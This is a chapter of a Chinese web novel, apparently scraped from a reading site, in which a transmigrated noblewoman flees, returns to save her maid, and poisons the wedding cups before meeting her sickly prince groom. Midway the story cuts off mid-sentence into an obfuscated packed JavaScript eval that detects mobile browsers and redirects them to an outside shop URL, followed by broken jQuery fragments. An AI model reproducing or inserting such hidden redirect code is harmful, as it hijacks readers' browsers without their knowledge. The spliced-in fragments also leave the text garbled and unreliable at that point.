默认冷灰
24号文字
方正启体

3. 成亲

作者:沂水决本书字数:K更新时间:
    “欸,你听到什么动静了吗?”


    另一个丫鬟推开门,见老槐树上光秃秃的,没半点人影,有些不耐烦了:“管这么多做什么?小姐不在这儿,去别处寻吧。”


    ……


    两人声音渐渐远了。


    薛令仪蹲在墙角,胸口剧烈起伏着,大口大口地喘着气。


    她成功逃出来了?


    巨大的喜悦排山倒海般席卷而来,薛令仪脑子还有些醉醺醺的,她摸了摸眼角,干的,没哭。


    逃出来就好,第一步已经成功了。


    对,现在还不能高兴得太早,自己得赶紧跑才是。


    薛令仪还没忘记那个目击者,何况丫鬟们也开始找她了,要不了多久她逃走的事就会被人发现。


    现在最要紧的是出城,先别管去哪儿,能跑多远算多远。


    天高皇帝远,她就不信他们为了逮她结婚,还能把这天下翻个底朝天了!


    薛令仪重整旗鼓,扶着墙慢慢站了起来,结果还没走两步就疼得吱哇乱叫。


    还好巷子里没什么人。


    薛令仪揉了揉红肿的脚踝,一边把老王爷和原主那死鬼爹骂了个狗血淋头,一边扶着墙,一瘸一拐往外头走去。


    她虽是个半瘸,脚下却还捣鼓得挺快,不一会儿就出了巷子。


    街上人来人往好不热闹,边上的摊贩见她虽一身素衣,料子却不差,瞧着很有气度,转头便冲她吆喝着:“小姐,买支簪子吧!这可是我家娘子亲手绘制的图样,全京城独一无二的!”


    薛令仪闻言凑过去,管它三七二十一,先夸了几句漂亮,随后又假模假样地拿起他摊上其他的木质首饰看了起来。


    “老板,你可知这京城的镖局往哪个方向走啊?”


    摊主显然对她的话术很是受用,大手一挥给她指了个方向,“镖局?那条街上好几家呢!小姐要压货还是雇人?”


    薛令仪没回,笑眯眯地道了声谢:“我家侍女在前头等我呢,下回来一定买你家的首饰!”


    她一个弱女子,这一路上多凶险?当然要雇个高手保护自己了。


    薛令仪摸了摸兜里的银子,虚虚掩着,刻意避开了人流。


    她挨着街边走,快到镖局时,蓦然瞧见有个汉子敲锣打鼓地吆喝着,身侧还跪了好几个衣衫褴褛少男少女,其中不乏年纪尚小的。


    薛令仪心头猛地一跳——这是在卖人啊。


    腿脚不听使唤地就走过去了。


    那大汉正谄媚地向众人介绍着:“这女娃儿十四,前身是在大户人家书房里伺候,还识字哩!得罪了主母这才被发卖了……”


    “哎哟,老爷,八两银子!您买回去既能端茶送水,又能给公子当个通房,悄悄这脸蛋,稳赚不赔的买卖!”


    那男人果然心动,又多追问了几句,短短几句话,两人达成交易——女孩的卖身契便到了另一人手中。


    那小姑娘似有所觉地朝她这边望了望,薛令仪当即慌慌张张地别开了眼,没看清路连撞了两个行人。


    瑞雪……


    薛令仪胡编乱造利用她时,毫不犹豫地逃跑时,不是没有想到过她。


    只是那些念头和愧疚感还没升起来,就被她匆忙压了下去。


    她自己也很可怜啊,她好好一个现代人,穿越到这吃人不吐骨头的世界,老天这么玩她,她跟谁哭去?


    人不为己天诛地灭,她只是想好好活着而已,她有什么错?


    从发现自己穿越的那一刻起,薛令仪就一直这么告诫自己。


    她反反复复告诉自己,她没有做错。


    可街边被发卖的女孩,在她眼里,为什么渐渐变成了瑞雪的模样?


    薛令仪有些喘不过气来。


    指尖隐隐发烫,那是瑞雪的眼泪淌过的地方。


    她就这样走了,瑞雪作为她的贴身侍女该怎么办?


    这可是人命如草芥的时代啊,原身一个大家小姐都无法左右自己的命运,连哄带骗地被家人嫁给老头子,遑论如瑞雪一般的人?


    她不想牵连旁人性命,可因为她的身份、因为这桩婚事,这些人注定会受她牵连。


    薛令仪仿佛看见那天真善良的小丫头,看向她的眼神是怎样从信赖变成憎恨。


    镖局近在眼前,她脚下却如同灌了铅,怎么也迈不开步子。


    “不做生意就别挡在这儿啊!”


    薛令仪回过神来,眼里倏然燃起一簇火苗,毫不犹豫转身,掉头往对面去。


    医官老板刚直起身,这风风火火的女子便用力将银子拍到柜台上,害得整个柜子都颤了颤,吓得他眼皮一跳。


    “泻药、痒痒药、毒药,见血封喉那种!你这儿有什么?老娘通通要了!”


    老板无语地瞥了她一眼:“小姐,我们医馆治病救人,不做伤天害理的事。”


    接着装,薛令仪瞧着他那贼眉鼠眼的贪相,心嗤这面相能是好人?


    她弯下腰,动作隐蔽地从鞋垫里又掏出厚厚一叠银票,打牌似的往桌上一扔:“够了没?”


    老板目光带着些鄙夷,却从柜台后面绕了出来,眼神示意她人后详谈。


    薛令仪翻了个白眼,跟着去了。


    ————


    “瑞雪,你还不肯说实话?你作为二小姐的贴身婢女,竟能把人侍候丢了,哄鬼呢?!”


    “别忘了,你的身契在谁手上,谁才是你真正的主子!”


    瑞雪被人牢牢压着,脸上一丝血色也无。


    主母呵斥道:“行了,奴婢不忠,发卖了就是,如今最要紧的……”


    女子清亮的声音率先传来。


    “住手!”


    众人一愣,见来人竟是凭空“消失”了整整一个时辰的薛令仪,震惊过后便是狂喜。


    薛令仪挥开挡她路的丫鬟婆子,见瑞雪还好好的,终于松了一口气,庆幸自己来得及时。


    “瑞雪是我的人,我看谁敢发卖她!”


    那雍容端庄的贵妇人将她上下打量一遍,面上不掩惊讶:“二丫头这是做什么去了?弄得如此狼狈。”


    薛令仪皮笑肉不笑:“玩泥巴。”


    “哦?”


    薛令仪当然不会告诉她这是钻狗洞回来的杰作:“我童心未泯,不行么?”


    主母一噎,瞥了眼她怪异的站姿:“那这脚是……?”


    “哦,不知哪来的野狗追着我跑,不小心摔了。”


    薛令仪挥挥手:“我就是被那野狗追得没办法才藏了起来,这不回来了?是我让瑞雪别跟着,嫡母要治罪不如先治我的罪。”


    女人意味深长道:“二丫头要做王妃了,臣妇哪敢治王妃的罪?”


    薛令仪冷笑一声:“行,那就散会吧。明日大婚,夫人看上去似乎很闲?”


    主母是走了,却留了一半的人守着院子,美名其曰“照料”,实际上就是怕她跑了,留了一院子眼线。


    薛令仪力竭地拿起桌上的茶杯喝了口水,“别愣了瑞雪,快过来。”


    “小姐……”,瑞雪哭唧唧地挪了过去,含着泪的眼睛里闪动着复杂的情绪,终究什么也没问。


    却见薛令仪煞风景地从鞋底、腰带、袖口……各种诡异的地方摸出了一桌子的瓶瓶罐罐和纸包粉末。


    瑞雪一时瞠目结舌,都忘了哭。


    薛令仪像个展示自己兵马的威武将军,得意洋洋地将这些毒药挨个分了类。


    “老不死的,真当老娘好欺负呢……”


    瑞雪没明白她在嘀嘀咕咕说些什么,却还是乖乖听薛令仪的话,去取了瓶子将东西重新打包。


    时间流沙一样飞逝,到了傍晚,陆续有人来将闺房里的帷帐、被子、窗花,通通换成红色。


    薛令仪这一晚睡得不踏实,做了一夜的噩梦都与那死王爷相关,天还没亮时,她就被人抓起来上妆了。


    两根细线在脸上绞着,针扎般刺痛;她脸上敷了厚白的粉,薛令仪觉得有些痒,想趁妆娘不注意挠一挠,又被臭骂一顿。


    天幕如墨,檐下点了喜庆的红灯笼,犹如一双双赤红的眼睛;空气中似乎还有浮动的粉尘,透过铜镜模糊泛黄的色泽,薛令仪看见了自己惨白僵硬的脸,似乎渐渐与前世的自己重合了。


    她绝望地闭上眼,不想承认自己有些被吓到了。侍女挽发时蹭过脖颈的冰凉触感,都让她草木皆兵,再这样下去迟早神经衰弱!


    或许是这桩婚事的新人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481977|201798||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    足够特殊,为了方便,许多礼仪就都精简了,薛令仪见缝插针地打了一早上的瞌睡。


    告祖和辞亲时,她还借着头顶的盖头翻了一路的白眼,虽未发出声音,但嘴皮子是没停过的。


    这一折腾,不知不觉就到了酉时,薛令仪从没觉得这一辈子这么漫长过。


    可想而知的,新郎没有来接亲,薛令仪松了口气,一颗心却被攥得更紧了。


    轿子晃晃悠悠,如海上随波的小船飘荡着。


    薛令仪发了会儿呆,突然想起自己竟然就这么老实听话地端坐许久,心下涌现出一种莫名的恐惧。


    她报复性地用力掀飞了盖头,却觉得和没掀没区别——入目的都是一片刺目的红。


    她想,从今天起,她最讨厌的颜色就是红色。


    轿子就如同一个四四方方的小棺材,又像是精美的礼品盒,将她跟个礼物似的锁起来,送给一个陌生人。


    那种未知的恐惧似乎因此具象化了。


    薛令仪咬着牙,确认毒药还藏在身上。


    她想,大不了鱼死网破。


    轿子停时,薛令仪已经及时将盖头盖好。


    火焰炽热的温度燎过,跨过火盆,宾客们恭贺着说了好些吉祥话。


    薛令仪不情不愿地被搀进了正堂,嬷嬷按着她的肩膀往下押时,司仪高亢的声音跟着响起。


    “一拜天地——”


    薛令仪有点懵,反应过来时,已经到了行夫妻对拜之礼;她被押这往下跪,却惊惶地发现……


    身前根本就没有人。


    那跟她拜堂的是个什么东西?!


    薛令仪后背蹿上一股凉意,只觉得荒谬又屈辱。


    她闭上眼睛,任由眼泪落下,恨不得现在就拿刀去捅死那王爷。


    礼成后,剩下的仪式就都敷衍地掠过了。


    堂上的宾客并不多,薛令仪恨恨地咒骂着,推测这王爷的朋友和他一般年纪,估计都死得差不多了,要比他懂事得多。


    喜娘们都出了洞房,在外头守着,薛令仪把盖头又一掀,确认安全后,连忙从腰带里掏出毒药瓶子。


    她把医馆老板给的泻药、痒痒药什么的全混合在一起了,整不死他丫的!


    薛令仪看着一桌子菜肚子饿得咕噜响,她咽下口水,没忍住伸手一样抓了点品鉴,边吃着边琢磨把毒下哪儿。


    吃得满手油光,她还犹嫌不足地揩在婚服上,这才进入正题。


    薛令仪小心翼翼地把毒抹在葫芦瓢内沿,酒杯也没放过——她悄悄做了标记,都只涂了其中一份。


    那死王爷今夜要敢来,有他吃不了兜着走的。


    薛令仪寻思人都一把老骨头了,折腾估计就归西了,倒也没必要直接下剧毒。她精着呢,见血封喉的毒药哪能轻易用了?


    她还是很怕死的……


    能活着就好好活着吧。


    薛令仪边吃边把菜匀好,正努力恢复摆盘,就听外头有动静了。


    她飞速窜回婚床上,被床上的桂圆硌得“嘶”一声,连忙盖好盖头坐端正了。


    吱呀——


    门开了。


    屋里静悄悄的,薛令仪只听到轮椅滚地的声音,以及还没靠近就扑鼻的药味。


    首先映入眼帘的是脚踏上的一截浅绯色衣摆,薛令仪愣了,默默在心底画上了一个小问号。


    她紧张得屏住呼吸,还没反应过来,一只苍白修长的手便闯入视线,他捏住盖头边角,行云流水地掀开了她的盖头。


    眼前竟是个二十出头、病如枯槁的年轻人,眉宇间带着久病之人惯有的恹色。他肤色苍白无暇,一头如瀑青丝垂到臀下,黑与白如此明晰,像是落入深潭的一片玉色,寒凉、刺骨。


    烛光倒映在他眼眸中,似游鱼摆尾。


    薛令仪回过神来,心里翻起滔天巨浪。


    不是说那老王爷七十多岁没有孩子吗?


    这人是谁?!


    这弱柳扶风的病美人是谁?!


    她表情有些裂开了:“敢问阁下是……?”


    那人皱着眉,似乎奇怪她竟然会问这种蠢问题,他抿了抿淡色的唇:“义王。”


    惜字如金:“李衡。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)